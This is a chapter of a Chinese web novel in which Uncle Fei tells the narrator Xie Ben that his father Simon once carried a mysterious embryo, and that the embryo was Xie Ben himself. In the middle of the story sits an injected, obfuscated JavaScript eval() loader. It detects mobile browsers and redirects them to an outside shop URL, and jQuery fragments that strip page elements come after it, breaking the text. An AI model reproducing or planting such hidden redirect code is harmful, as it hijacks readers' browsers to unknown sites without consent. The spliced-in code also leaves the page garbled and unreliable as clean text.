费尔叔叔依然来看我,但我们之间的关系变得有些僵硬。他每次也不待太久,基本上确认了我还活着,就放下食物走了。
这回也一样。
“费尔叔叔。”他一起身,我就开口。
费尔回头,似是有些惊讶。
“您可以再待会儿吗?我有事情想问。”
费尔看了眼手表,又坐回来,“说说看。”
“20年前那起实验室的案子,我父亲在最后一次开庭之前,到底生了什么病?”
费尔抿着嘴,明显在犹豫。
“您用不着跟我说谎,”我补充道,“我在看守人员的值班记录上看到了您的名字,这件事,您应该最清楚不过。”
费尔脸上的沟壑似乎更深了些,他还是思考了一下才肯开口,“这件事,很少有人知道,就连我也不太清楚内情,戴维斯退伍之后,对这些事闭口不谈,我知道他难受,当然也就不多问。”
“您只要告诉我知道的部分就好了。”
一声轻轻的叹息,把尘封已久的回忆牵引出水面。
“实验室杀人案刚发生的时候,我还在另一个基地执行任务,所以对那之前的事并不清楚。西蒙被指认为凶手之后,要押送到北方监狱。考虑到西蒙可能是潜在的污染者,上面调了专人负责看守,我是其中之一。
当时的人并不知道我和西蒙是朋友,因为我们分属不同的部队。西蒙清楚自己犯的罪有多严重,不想牵连到我,所以基本不和我有言语交流。
但是那年冬天下了很大的雪,你也知道,西蒙没有家人,他以前的同事也都在那次事件里死光了。我就偷偷给他送了件衣服,被发现后,我被关了三天禁闭。他很自责,再也不肯收我偷渡进去的任何东西。
那场审判其实结束得挺快的,从头到尾也就两个多月吧,西蒙没有一句辩解,承认一切都是他的失误。最后一次开庭的那天早上,轮到我值守,我照常去囚室里带他出庭,发现他已经倒在里面,满地血水,一直渗到楼道上。”
我搭在膝盖上的手逐渐握紧,牙齿不自觉地咬住了口腔内壁,甜腥味涌上舌尖。
“他……出了什么事?”
“他被同住的罪犯刺了一刀,那时候他名声很差,已经成为众矢之的,甚至有受害者家属想雇人杀他。”
费尔一直皱着眉,显然这些回忆让他很不好受。
“我们送他去了医院,好在没什么大碍。但是在做腹腔检查的时候,医生说他肚子里有奇怪的东西,后来……相信我,谢本,如果我说了后来的事,你会祈祷自己从来没听过。”
一股不祥的预感如蛛网一般覆上心头,可我很坚持,“请您说吧。”
“后来,他的肚子开始明显胀大,时常感到头晕呕吐。当时的医学仪器都无法观测出来里面到底是什么,但根据西蒙的症状来判断,有医生觉得这很可能是妊娠反应。
这件事太过反常,西蒙一直留在医院里。两三个月之后,他的肚子已经胀大到令人害怕的地步,这导致他行动十分不便,需要人看护。
有一天,护士听到西蒙痛苦的呻吟,她连忙赶来,看到有东西在他肚子里撞来撞去,似乎很焦躁地想出来。医护人员们担心里面的东西会撕裂西蒙的肚子,最终选择为他施行了开腹手术。
而后,医生发现,西蒙体内居然有一个完整的人类子宫,里面的胚胎已经发育成型,但谁也不知道它是怎么被放进去的,连西蒙自己也不清楚。”
我已经震惊到说不出话来。
如果这是一个故事的话,我甚至会怀疑作者是不是已经遭到了污染。
“这件事立即被报告给了高层,西蒙和胚胎都被带回了实验室,我也被调回基地。不久之后,我就听说他被无罪释放了。他退伍后,还收养了一个孩子,也就是你。”
他提及我,却没有与我对视。
“不过,直到那天我才知道,那个奇怪的胚胎,似乎……也是你。”
费尔的声音都有些发颤,他下意识想去掏烟,又反应过来实验室禁明火,便怅然若失地缩回了手,攥紧自己的衬衫,蹭掉了掌心的汗水。
两人之间,盘旋起长久的死寂。
我不知道说什么,好像知道了很多东西,又好像产生了更多困惑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665170|144101||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
霍尔顿不是说过吗,那天夜里,A13号的确导致了一位女科学家受孕,可是那位女士已经死了,为什么怀孕的人变成了西蒙·戴维斯?
一团乱麻。
但至少确认了一件事。我的确是A13号制造出来的。比起受到同情的污染者,我更接近一个变异体。
“其实,能把这些事说出来,我心里也轻松了一些,毕竟快二十年了。”费尔担忧地看着我,似乎想转移一下话题。
“父亲他……收养了自己的仇敌?”
我其实想问问他,是不是也觉得我是个怪物,可我又害怕听到回答。
费尔苦笑,“那并不是单纯的收养。”
是啊,我竟也笑了出来。家里那十几本的试验体监测报告书就可以作证。
“费尔叔叔,我父亲朝您的弟弟开了枪,您不恨他吗?”
我盯着费尔的眼睛,心里还抱着最后一丝不甘,希望他只是出于恨意在骗我。
可惜费尔只是淡然笑了笑,“那会儿他不开枪的话,死的就是他自己了。谢本,我们当时还没有能力把污染者救回来。更何况,柏斯特杀了那么多人,他就算清醒过来,也会活不下去的。”
他的眼神变得温柔而哀伤,“柏斯特是个善良又努力的好孩子,他毕业的时候和你现在差不多大,如果没发生那件事,他一定已经成为了非常优秀的军人。”
我笨拙地沉默了。
“对不起。”良久,我才吐出几个字。
“这又不是你的错,要怪也应该怪那些该死的变异体。”
费尔轻轻抚着我的头发,他的手掌宽厚温暖,让我想起父亲。
眼中氲出一片温热,我低着头,任泪珠一颗颗滚下。
看见我流泪,费尔叔叔也不禁抹了一把脸,悄声掩去眼里不甚明显的水痕。
“咚咚!”
敲门声响起,是工作人员在提醒会面时长。
费尔只能起身道别,“我该走了。”
我点点头,目送他出门。
该死的变异体……
我好像也是其中一个啊。